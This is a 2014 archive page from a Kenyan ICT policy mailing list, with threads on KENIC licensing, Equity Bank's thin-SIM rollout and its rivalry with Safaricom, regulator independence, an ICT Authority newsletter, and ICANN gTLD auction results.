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CA (K) Licensing of KENIC Status
by Odhiambo Washington 26 Sep '14

26 Sep '14

Listers, Sometime back in January,CCK (currently CA) had a stakeholder consultation in regards to KENIC licensing. I came across the attached minutes indicating there was a task-force put in place to ensure this process is expedited and that there are new members to the KENIC Board to take it to the next level - we all do know how badly it's been doing - most of this is in the public domain. I am also meant to understand that there was a meeting scheduled for 15th September 2014 that was cancelled last minute without any explanation. Anyone here knows why that happened? Maybe the DG of CA (K) can shed some light on this?? Can we be told what is the status of this licensing of KENIC. Looks like this a chapter that should have been closed a long time ago. Who should be in the board of KENIC? TESPOK, DRAKE? Or is CA wanting to license and regulate itself? -- Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 "I can't hear you -- I'm using the scrambler."

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Equity Given Go Ahead by CAK
by Bernard Kioko 26 Sep '14

26 Sep '14

I have noted media reports indicating Equity has been granted go-ahead by CAK to operate with Thin-Sim cards. Game changing I suppose. -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Is it Consumer Safety or Competition between Safaricom & Equity?
by Bernard Kioko 26 Sep '14

26 Sep '14

So I have been watching and reading the debate on thin-sim and the drama got me thinking about something.. Almost every Kenyan bank today is running a USSD mobile banking service. When you dial that number (eg *111#) ..and you enter your PIN to transact... your PIN is transported between your phone and your bank in an open text (clear text aka no encryption) that can be read easily. I am sure both Safaricom and Equity know this for a fact. With this understanding, is the thin-sim card discussion really about the security for consumer or is it market-share politics? Can the two companies not find a secure work around if it really is about security? Imagine if CCK / Central Bank had refused MPESA citing consumer security because they could tell of the many mpesa fraudsters reported daily. Further, can CCK not "order" safaricom to open their sim card (subject to commercial terms) for more SimToolkit applications in which case Equity Mobile Money services would sit right next to MPESA menu on that same sim card (and perhaps there would have been no need for a new MVNO - ok so am being too ambitious!). Isn't the big deal Equity's desire to enter the Mobile Money market and for those following closely, you know the difference between "M-Shwari" and the now almost dead "M-Kesho" What are your thoughts? -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] House team halts Equity Bank's thin-SIM rollout
by ngethe.kariuki2007 26 Sep '14

26 Sep '14

Walu, , Listers, Victor is right . The spirit of the law is very clear. CAK has even shielded further by ensuring that they are not funded by the exchequer. The drafters of KICA right from 1998 were very clear on this "in order to create investor confidence that licensing will not be at the whims of particular interests". In any case nearly all technologies have inherent risk.That is why INSURANCE INDUSTRY thrives. I would love to meet experts who know of a risk free technology! John Kariuki Sent from Samsung Mobile -------- Original message -------- From: Walubengo J via kictanet <kictanet(a)lists.kictanet.or.ke> Date: To: ngethe.kariuki2007(a)yahoo.co.uk Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout @Victor, Completely agree....but as they say money can get another lawyer to script an equally convincing submission - but for parliamentary intervention (the law is an ass?) Some said we have had judicial activism and now we seem to experiencing parliamentary activism. The interesting part is that Equity is the only guy in town who can stare at Safaricom anywhere anytime. Be it at the Regulator, in Parliament, in Court, in Statehouse, or in Mars. I will wear my helmet because it does look like it might get bloody sooner than I thought :-) walu. -------------------------------------------- On Wed, 9/24/14, Victor Kapiyo via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout To: jwalu(a)yahoo.com Date: Wednesday, September 24, 2014, 6:07 PM My reading of this is that Parliament when drafting S. 5A of KICA was very clear in its intention to give CAK independence and shield it from influence from government, political or commercial interests in the exercise of its powers and in the performance of its functions. The influence referred to in S. 5A also includes influence of Parliament or its committees (and whichever other interest is pulling strings in the committee). Such that the committee cannot lawfully direct CAK to halt the process, or halt the process itself especially on a matter which the law clearly states that is within CAKs mandate. Can Parliament request, yes. Is this a request? That's debatable and will depend on a good reading of the communication from the committee to CAK. And as such the press report maybe misleading. The question of sovereignty, while is material is irrelevant to the extent that the same Parliament has already drafted laws empowering CAK to act independently. Nothing stops Parliament or any Kenyan from questioning decisions of CAK, which ideally can always be done in a court of law or in the court of public opinion, depending on the level of interest. Parliamentary committees also need to understand that there is a limit to their powers under the Constitution and Standing orders, and should guard against acting ultra vires. My advise to CAK and Parliament is to read the law and follow it - Which in effect means to act independently. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 24 September 2014 15:38, Consumers Federation of Kenya (COFEK) via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Dear Victor, They DO!! It is obviously a fallacy that non-technical people make decisions on technical issues. But we are not a banana republic – at least on paper. If you read Art.1(2) of the Constitution – those characters hold enormous powers. They make the law for regulator in line with Art.34 (recall CA is not a Chapter 15 Commission and “independence” is limited). “The people may exercise their sovereign power either directly or through their “democratically” elected representatives” Art. 1(3)(a) says sovereign power is delegated …. To Parliament and the legislative assemblies in the County Governments. Also read Art. 95 and 96 and so on” Kind regards,Stephen Stephen MutoroSecretary GeneralConsumers Federation of Kenya (COFEK)Rehema Place, Block F-45Ngong Road/Ring Rd Kilimani JunctionP.O Box 28053-00200, City Square, NAIROBI, Kenya Tel. 254-20-2615496, 2300859 Fax. 254-20-3861719; Cell phones: 0715555550, 0770700007E-mail: hotline(a)cofek.co.keWebsite: www.cofek.co.keFacebook: "Consumers Federation of Kenya (Cofek)" Twitter: @ConsumersKenya YouTube: "ConsumersKenya" 13th December 2012 - President Kibaki assents to the Consumer Protection Act, 2012 Read it here: http://www.cofek.co.ke/Consumers%20Protection%20Act%202012.pdf From: kictanet [mailto:kictanet-bounces+hotline=cofek.co.ke@lists.kictanet.or.ke] On Behalf Of Victor bwire via kictanet Sent: Wednesday, September 24, 2014 5:22 PM To: The Consumers Federation of Kenya (Cofek) Subject: Re: [kictanet] House team halts Equity Bank's thin-SIM rollout Dear Grace the House Team has no supervisory powers over the Regulator- Not at all Just that MPs have become terrible regards Victor On Wed, Sep 24, 2014 at 4:47 PM, Grace Githaiga via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:@ Victor, The heading of this article says the 'house team halts..." while the body of the story has "has asked CA to halt..." It might be semantics but my interpretation of this is that this is a request to CA, and not a directive. Yes? Tell me, does the house team have oversight over regulatory matters? I am looking at KICA 2013 Article 5 on CA's independence: 5A. (1) The Authority shall be independentand free of control by government, political orcommercial interests in the exercise of itspowers and in the performance of its functions. (2) In fulfilling its mandate, the Authorityshall be guided by the national values andprinciples of governance in Article 10 and thevalues and principles of public service in Article232 (1) of the Constitution. What would happen say if CA disregards the House team's demand? RgdsGG Date: Wed, 24 Sep 2014 11:54:17 +0100 Subject: Re: [kictanet] Equity Given Go Ahead by CAK From: kictanet(a)lists.kictanet.or.ke To: ggithaiga(a)hotmail.comThe tables have turned again: House team halts Equity Bank's thin-SIM rollout The National Assembly’s Energy and ICT Committee has asked the Communications Authority (CA) to halt Equity Bank thin-SIM card rollout until it is satisfied of the security of the technology. http://www.nation.co.ke/news/politics/House-team-halts-Equity-Bank-thin-SIM… Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 22 September 2014 18:49, Martin Gicheru via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:Safaricom does not necessarily agree to the move but will cooperate while it still needs to. ”We are particularly encouraged that CA has commenced the process of hiring an independent and reputable international firm to conduct a security audit on all SIM cards, and in particular the use of the SIM overlay technology in mobile money transfer services. We therefore implore the CA to fast track the security review and to publish the guidelines in the interests of protecting consumers and financial institutions who will remain vulnerable to the potential risks created by the ‘man-in-the-middle attack’. ” http://techmoran.com/safaricom-remains-adamant-thin-sim-vulnerabilities/ On Mon, Sep 22, 2014 at 6:36 PM, Bernard Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote:Change is the only permanent thing! -----Original Message----- From: kictanet [mailto:kictanet-bounces+bkioko=bernsoft.com@lists.kictanet.or.ke] On Behalf Of Walubengo J via kictanet Sent: Monday, September 22, 2014 6:30 PM To: bkioko(a)bernsoft.com Subject: Re: [kictanet] Equity Given Go Ahead by CAK @Charles, Interesting views. I dont speak for Equity - and am not even a MEMBER (their customer). However, they have the following going for them. 1) they do have their OWN SIM card targetting their 8m banking customers. They can actually make money out their core group of customers using their mobile virtual network (riding on Airtel telco infrastructure i believe). 2) the thin-SIM technology is just a nice option for their 8m customers AND the 20+million Safaricom customers. 3) indeed Safcom can play dirty but I am sure they wont because (a) they can take on Equity challenge and (b) the regulator seems more ready than ever to pounce on them (recall regulator has been "looking" for them over quality issues :-). Remember, this looks like a mobile money battle, but the real deal is the collateral damage it is likely to cause in the voice market because once a Safaricom customer mounts the thin SIM Card and discovers that they can make cheaper calls/sms with it without losing their MPESA functionality...they will actually be having their cake (MPESA) while eating it (making Cheaper calls on the Equity Mobile virtual network). Essentially, Equity is breaking a small gap into the Safaricom defensive wall(MPESA) and once in, even the data-market may eventually be free for all i.e. #checkmate. walu. -------------------------------------------- On Mon, 9/22/14, Charles Kimani via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Subject: Re: [kictanet] Equity Given Go Ahead by CAK To: jwalu(a)yahoo.com Date: Monday, September 22, 2014, 4:44 PM I think the thin sim strategy is brilliant...in theory. However, I am also wondering just how wise it is to place the success of your business model at the mercy of a hostile, powerful and uncooperative business rival. What if - 6 months after launch, for example - Safaricom decide to upgrade all their sim cards (genuinely or otherwise) just when Equity is in the middle of a critical (probably expensive) product rollout? What if Safaricom customer service and dealer/retail channels start advising subscribers who are having issues with their lines that the thin sim is the cause of their problems and show them how to remove it? How will Equity map their processes and logistics with the Safaricom SIM replacement processes? Will Equity subscribers need to remember to make an extra stop at an Equity outlet to have their thin sim re-attached once they do a sim swap? How easy is it to attach these thin sims? We have previously seen smart sabotage tactics bring down SAB Miller ambitions in the Kenyan market. Equity - in my opinion - is giving too much firepower to a determined competitor. It might be cheaper in the long run to just invest in own SIM and take Safaricom head-on. Regards,Charles On Mon, Sep 22, 2014 at 4:18 PM, Dennis Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Meanwhile, I did get the Equitel SIM Card (haven't seen the infamous Thin SIM). So far, here's my experience with the same. http://www.infotake.co.ke/2014/09/how-does-equity-banks-equitel-work.h tml On 22 September 2014 16:11, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Sometimes diversification leads to loss of focus. Interesting discussions but let us see if this scenario will change some of this Principles that have evolved over time. Best Regards On Mon, Sep 22, 2014 at 3:56 PM, Bernard Kioko via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: I have noted media reports indicating Equity has been granted go-ahead by CAK to operate with Thin-Sim cards. Game changing I suppose. This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. 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by Network of non- formal Educational institutions 24 Sep '14

24 Sep '14

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Would Mpesa fair better as its own corporate entity? [Archive Content]
by Mbugua Njihia 24 Sep '14

24 Sep '14

I have held the opinion that Mpesa would have fared better as it's own independent entity outside the confines of Voda globally - http://www.mbuguanjihia.com/business/would-mpesa-fair-better-as-its-own-cor…

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FW: ICT Authority Newsletter September 2014
by Grace Githaiga 23 Sep '14

23 Sep '14

A new study has just detailed the key ingredients for any country that aims to become an ICT hot spot. The summary of it, being linked to a country's ability to invest in research and development activities, the ability to take knowledge to the market( innovation) and to building an intense business activity around this innovation. Notably, the EU sponsored report says that "You don't have to be big to succeed!" These are important points to ponder for anyone interested in the growth of the ICT Industry in Kenya. As the ICT Authority, we have a big agenda to grow the sector through investing in local capacity. We are very aware that we cannot do this alone. First, we need to create long-term policies on research and innovation, strengthen the Public-Private- Partnerships engagements and also work with our education institutions to churn out highly skilled graduates. In other words, no one is too small in this industry. We need to all work together to achieve the goal of ICT contributing to 8 per cent of our national income in the next few years. If you ask me, this is double if we enhance collaboration and partnerships. Talk to us. Victor Kyalo Ag. Chief Executive Officer, We have commenced implementation of the approved ICTA organization structure, starting with filling of the director level positions. In line with our mandate the positions cover Shared services-Infrastructure, applications and Information Security--, Programmes and standards, Partnerships, Capacity, Innovation and ICT service Management. The vacancies were advertised through PWC who are our recruitment agency for this exercise on 25 June 2014 ( Page 52 of the Daily Nation) This exercise was directed by the HR Board Committee. Interviews were conducted and the process will be completed during this quarter. You may be aware that government websites have experienced security challenges over the last few months. This has called for concerted efforts to deal with these glitches. To deal comprehensively with the issues, we started by conducting an audit of Government websites. The audit revealed that in their present state, many of the government websites do not conform to the standards and they are not secure.Read more Refer to Web Standards and Domain Strategy Get more Information Are you a cyber-security enthusiast? Enroll for a 3-day training from 1st to 3rd October at the University of Nairobi, C4Dlab. Registration and more details at c4dlab With an investment of Ksh 50,000, you will get the technical know-how on cyber risks and its management. Participants also get to build their careers in this marketable field and also become part of a community of security experts. The training, a partnership between ICT Authority and C4Dlab is meant to build capacity in Online Security. In July 2014, 17 people were awarded certificates after completing the course. Refer to 1st programme press release SAP Skills for Africa Scholarships 2014 Commences The second round for SAP Skills for Africa Scholarships commenced early September. The Program that was launched in 2013 through a partnership between ICT Authority and SAP is giving recent graduates interested in finance and business development an opportunity to kick start their careers. Successful candidates will get a fully-paid SAP scholarship, certification and internships placement after successful completion. The 8-week program, which will be carried out at Technobrain offices in Nairobi expects to train at least 100 students per year. The training, worth an estimated USD 6,000 per student, will be offered on scholarship to unemployed talented university graduates. Read more Get more information: FAQs Watch 2013 SAP Skills for Africa Program Documentary What 2013 beneficiaries had to say Check out some case studies from 2013 Good news for ICT Infrastructure growth. The official launch of Phase II will take place in Wote, Makueni County on Friday 26th September 2014. Read More The ICT Authority has partnered with OLX and other stakeholders to launch an online safety consumer education campaign dubbed 'Kaa Ridhoo'. The initiative will be unveiled end of September, 2014 in Nairobi. Read More Soon Kenyans will be served within minutes of submission of a birth certificate request. This is an improvement of the process that currently takes days. A project to digitize and automate births and deaths records has been undergoing at The Ministry of State for Immigration and registration of persons; Civil Registry Department.Read more Watch Documentary here View latest photos here Pasha centres will from October be part of the Intel® "She Will Connect program" which aims at getting more women to utilize technology and the internet. Read more Are you an ICT Stakeholder? Talk to us At the end of August, ICTA reached out to stakeholders to collaborate on various initiatives. The first engagement was with heads of ICT Associations that aimed at appraising insiders on the latest going-ons in the Authority as well as orient them on the ICT Authority bill. Read summary of meeting here.. Top executives form taskforce to look into youth ICT talent development. The meeting with CIOs was held end of August and sought to deliberate on collaborating in the development of requisite skills for the ICT sector. Attendees were addressed by the Cabinet Secretary, Dr Fred Matiangi and ICTA Ag CEO, Mr Victor Kyalo. At the event conclusion an 8-member advisory team was constituted to guide on the program roll-out. Read more Strathmore University's Centre of Excellence for Oracle opens at @iLabAfrica The centre was launched on 10th September at Strathmore University. This was made possible through an Oracle Grant which supported the strategy to increase the Oracle skills pool in Kenya. Read more Counties now map way forward to ICT Roadmaps The County Executive Members for ICT met in Mombasa from the 10th to 12th September 2014. The main purpose of the workshop was to assist the executives to understand the role of the National Government with regard to the roll out of IFMIS and understand the general life-cycle of ICT development within the County with specific reference to Enterprise Resource Planning (ERP) systems. Read more More info View photo Payments at Nairobi City County go Online Nairobi residents can now expect easy, fast, secure and personalized services from the Nairobi City County. The county in June launched a personalized and user-friendly online platform http:// www.nairobi.go.ke , with several services payable online. Services offered include single business permits, land rates and parking fees payments. Others earmarked in coming months are market rates, application for building permits and advertisements payments. Read more Engineering graduates get opportunity to build vital skills In August 2014, ICT Authority teamed up with Huawei technologies with the aim of equipping engineering students with practical on-the-job skills. We received an overwhelming response for the internships by the deadline date. After review, 37 students have been recommended for face-to-face interviews. An additional 6 who had already completed their studies and are waiting to graduate have also been proposed for interviews. Those who pass the test and the interview will secure a 2-months internship and training at Huawei.Read more Call to Innovators: Apply for Innovation Prize for Africa It is said that only the wearer of a shoe knows where it pinches the most. That's why we are advocating for African-focused solutions from African themselves. If you share in this vision, Innovation Prize for Africa is looking to reward you. Submit your innovative solution to innovation prize for africa by 31st October 2014 and stand a chance to win US$ 150,000. Read more Applications open from Bill & Melinda Gates Foundation The Bill & Melinda Gates Foundation is inviting applications to the Grand Challenges Explorations grants, for solutions in global health and development. Apply at www.grandchallenges.org/explorations Deadline is November 12, 2014. Read more 1) OLX Kenya Social Media Awards, 3rd October, Nairobi The awards, now on the 2nd year aims to celebrate the contribution of social media in the social, economic and political spheres by recognizing those who have used it positively to impact lives. The theme this year is "Making Social Media Work for You." Read more 2) Gulf Information Technology Exhibition,12th-16th October, Dubai Registration is open for the Gulf Information Technology Exhibition (GITEX) technology week on www.gitex.com, to be held on 12th October, 2014 at the Dubai World Trade Centre.Read more 3) E-Commerce Kenya Conference, 30th -31st October, Nairobi Sadiki East Africa is in the process of organizing an e-commerce conference whose purpose is to look into the future of e-commerce through shared knowledge, peer to peer conversations and engaging networking spaces.Read more STAY CONNECTED Forward this email This email was sent to ggithaiga(a)hotmail.com by communications(a)ict.go.ke | Update Profile/Email Address | Rapid removal with SafeUnsubscribe™ | Privacy Policy. ICT Authority | Telposta Towers, 12th Floor | Kenyatta Ave | P.o. box 27150-00100 | Nairobi | Kenya

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The price for New gTLD going forward has been set....
by Philip Adar 19 Sep '14

19 Sep '14

*Sent:* Friday, September 19, 2014 2:26 AM *Subject:* ICANN News Alert -- Results Available for 17 September 2014 New gTLD Program Auction [image: ICANN] <http://www.icann.org/> News Alert https://www.icann.org/news/announcement-2014-09-18-en ------------------------------ Results Available for 17 September 2014 New gTLD Program Auction 18 September 2014 On 17 September 2014, an Auction conducted by ICANN's authorized Auction service provider, Power Auctions LLC <http://www.powerauctions.com/>, was held to resolve string contention sets for three new generic Top-level Domain (gTLD) strings; BUY, TECH, and VIP. String contention occurs when more than one applicant has applied for the same or a confusingly similar gTLD. The applicants for these strings were unable to resolve the contention sets among themselves, and thus proceeded to an auction, which is the method of last resort to resolve string contention sets as prescribed in Module 4 of the Applicant Guidebook. Subject to payment of the Winning Price and meeting all other criteria for eligibility, the winner will begin the contracting process to sign a Registry Agreement to operate the respective gTLD. *Four applicants for BUY participated in the Auction. Amazon EU S.à r.l. prevailed in the Auction with the winning price of $4,588,888.* *Six applicants for TECH participated in the Auction. Dot Tech LLC prevailed in the Auction with the winning price of $6,760,000.* *Five applicants for VIP participated in the Auction. Top Level Domain Holdings prevailed in the Auction with the winning price of $3,000,888.* Akram Atallah, President of ICANN's Global Domains Division noted "The proceeds from these Auctions will be separated and reserved until the Board determines a plan for the appropriate use of the funds through consultation with the community. We continue to encourage parties to reach agreements amongst themselves to resolve contention." Additional bidding information is available in the Auction Reports which can be found on Auction Results page <https://gtldresult.icann.org/application-result/applicationstatus/auctionre…>within the New gTLD Microsite. Subsequent auctions are scheduled <http://newgtlds.icann.org/en/applicants/auctions/schedule-11sep14-en.pdf> [PDF, 250 KB] to occur on a monthly basis throughout 2014 and into early 2015. The auction events are intended to resolve multiple contention sets simultaneously. For information about ICANN Auctions please see the Auctions landing page <http://newgtlds.icann.org/en/applicants/auctions> on the New gTLD Microsite. -- Regards Philip Adar

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Equity Bank vs Safaricom :-Round 2
by Walubengo J 19 Sep '14

19 Sep '14

Listers, I thought you might find this interesting, ---------------- After Equity Bank decided to directly play in the mobile money market by issuing its own SIM cards, we debated heatedly in a previous blog whether Safaricom had finally met its match. At the time, it was assumed that Equity would be selling the traditional SIM card, which would require customers to either buy dual SIM-card phones or carry two phones in order to access services from two existing providers. Even within the inconvenient scenario above, Equity with its large customer base was bound to pose some significant competition to the leading mobile money provider Safaricom. The surprise, it seems, is the secret weapon Equity unveiled recently in the form of a Thin-SIM Card.... ------ Read more @ http://www.nation.co.ke/oped/blogs/dot9/walubengo/-/2274560/2453920/-/11d48…

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A model for extracting value from citizen data
by Mbugua Njihia 18 Sep '14

18 Sep '14

Every day we produce tonnes of unstructured data in increasing velocity and variety. This data is only as valuable as the applied insights derived from it, otherwise its collection and analysis becomes a waste of resources. At a recent BarCamp – “an open and participatory user-generated conference primarily focused around technology and the web” held in Nairobi at the epicenter of Kenya’s startup scene and dubbed “Who is your data’s daddy”, the issue of privacy came to the fore as a group of hacker’s demonstrated the ease with which systems and people are compromised. This led to an interesting debate on the place and dynamics of privacy in a digital world, amplified by the Kenyan governments push to digitize everything. The question remains, is there a way to use personal data without making the citizen feel exposed? Full piece here - http://www.mbuguanjihia.com/business/model-extracting-value-citizen-data.ht…

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Kenya ranked high globally in eGovernment
by Ali Hussein 17 Sep '14

17 Sep '14

Listers Interesting article. Although a lot still needs to be done we must take stock and see how greater engagement between the private and public sector can grow this important aspect of public-private partnerships. http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Service Interruption on GoK Websites
by Phyllis Nyambura 17 Sep '14

17 Sep '14

Listers, Please note the below and attached release on the interruptions of service on Government websites. *Press Release: Service Interruption of GoK Websites* *Thursday, 3rd September, 2014* The ICT Authority has developed comprehensive standards to guide public web content, appearance, security and accessibility of public websites. For the standards to be implemented, we conducted an audit of Government websites. The audit revealed that in their present state, many of the government websites do not conform to the standards and they are not secure. It has therefore become necessary to upgrade the hosting environment, reorient the websites to the approved standards, and train ICT officers and Public Communication officer’s on best practices for developing and maintaining websites. During this exercise we request the indulgence of users of Government websites since there will be service interruption from 3rd Sept 2014 to the 10th of Sept 2014. *For more information please contact Mary Ngaruma on mary.ngaruma(a)ict.go.ke <mary.ngaruma(a)ict.go.ke> or call us on 254-020-2211960/62* You can also access more information on: http://www.icta.go.ke/draft-web-standards/ Kind Regards, Phyllis Nyambura Communication Writer The ICT Authority Telposta Towers, 12th Floor, Kenyatta Ave P.O. Box 27150 - 00100 Nairobi, Kenya t: + 254-020-2211960/62 | m: + 254 (0) 789396433 | e: pnyambura(a)ict.go.ke Email: info(a)ict.go.ke or communications(a)ict.go.ke Visit: www.icta.go.ke <http://www.ict.go.ke/> Become a fan: www.facebook.com/ICTAuthorityKE <http://www.facebook.com/kenyaictboard> Follow us on twitter: @ICTAuthorityKE --------------------- -- ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Re: [kictanet] Kenya ranked high globally in eGovernment
by James Mbugua 16 Sep '14

16 Sep '14

I always ask myself when I read these headlines, government offices may be connected e-wise, but are the people connected? Are our own government officials switched on to offer e-government or are they still doing things analogue. What of citizens? Are they on e-gov? James -----Original Message----- From: "Victor Kapiyo via kictanet" <kictanet(a)lists.kictanet.or.ke> Sent: ‎9/‎16/‎2014 10:21 To: "jgmbugua(a)gmail.com" <jgmbugua(a)gmail.com> Subject: Re: [kictanet] Kenya ranked high globally in eGovernment Happy belated birthday Ali. Additional lessons can be learnt from Estonia. Read: Lessons from the World's Most Tech-Savvy Government - http://www.theatlantic.com/international/archive/2014/01/lessons-from-the-w… Then check out the Estonia E-government portal, and more so the services section - https://www.eesti.ee/eng/start Our people from E-government should get in touch and learn / adopt a similar system. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 8 September 2014 13:03, Network of non- formal Educational institutions via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birth day Ali Jane On Monday, September 8, 2014 12:48 PM, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birthday Ali, This is good news. I hope the government continues engaging stakeholders as has been the case in the last ten years, this will help in greater adoption of this electronic services. I was sad last week when i could not get a critical government service because the relevant government website had been hacked. This are issues that can be addressed collaboratively. We are what we are because a couple of years ago we embraced the multi-stakeholder model and worked together and this is the same spirit we should maintain. Best Regards On 9/8/14, Ali Hussein via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > Andrea > > Now did you have to go and splash my birthday like that? :) > > The power of social media I guess...:) > > Thanks Andrea. And for those of you who are wondering how old I am - 21 > years. :) > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > >> On Sep 8, 2014, at 10:39 AM, Andrea Bohnstedt >> <andrea.bohnstedt(a)ratio-magazine.com> wrote: >> >> Happy birthday, Ali :) >> >>> On 8 September 2014 10:34, Ali Hussein via kictanet >>> <kictanet(a)lists.kictanet.or.ke> wrote: >>> Listers >>> >>> Interesting article. Although a lot still needs to be done we must take >>> stock and see how greater engagement between the private and public >>> sector can grow this important aspect of public-private partnerships. >>> >>> http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… >>> >>> Ali Hussein >>> >>> +254 770 906375 / 0713 601113 >>> >>> Twitter: @AliHKassim >>> Skype: abu-jomo >>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>> Blog: www.alyhussein.com >>> >>> "I fear the day technology will surpass human interaction. The world will >>> have a generation of idiots". ~ Albert Einstein >>> >>> Sent from my iPad >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/andrea.bohnstedt%40ra… >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. The network aims to act as a catalyst for reform in the ICT >>> sector in support of the national aim of ICT enabled growth and >>> development. >>> >>> KICTANetiquette : Adhere to the same standards of acceptable behaviors >>> online that you follow in real life: respect people's times and >>> bandwidth, share knowledge, don't flame or abuse or personalize, respect >>> privacy, do not spam, do not market your wares or qualifications. >> >> >> >> -- >> Andrea Bohnstedt >> Analyst/Publisher >> >> www.ratio-magazine.com >> www.africa-assets.com >> >> >> > -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/ _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/nnfeischools%40yahoo.… The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications. _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/vkapiyo%40gmail.com The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications.

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Re: [kictanet] Kenya ranked high globally in eGovernment
by James Mbugua 16 Sep '14

16 Sep '14

I always ask myself when I read these headlines, government offices may be connected e-wise, but are the people connected? Are our own government officials switched on to offer e-government or are they still doing things analogue. What of citizens? Are they on e-gov? James -----Original Message----- From: "Victor Kapiyo via kictanet" <kictanet(a)lists.kictanet.or.ke> Sent: ‎9/‎16/‎2014 10:21 To: "jgmbugua(a)gmail.com" <jgmbugua(a)gmail.com> Subject: Re: [kictanet] Kenya ranked high globally in eGovernment Happy belated birthday Ali. Additional lessons can be learnt from Estonia. Read: Lessons from the World's Most Tech-Savvy Government - http://www.theatlantic.com/international/archive/2014/01/lessons-from-the-w… Then check out the Estonia E-government portal, and more so the services section - https://www.eesti.ee/eng/start Our people from E-government should get in touch and learn / adopt a similar system. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 8 September 2014 13:03, Network of non- formal Educational institutions via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birth day Ali Jane On Monday, September 8, 2014 12:48 PM, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birthday Ali, This is good news. I hope the government continues engaging stakeholders as has been the case in the last ten years, this will help in greater adoption of this electronic 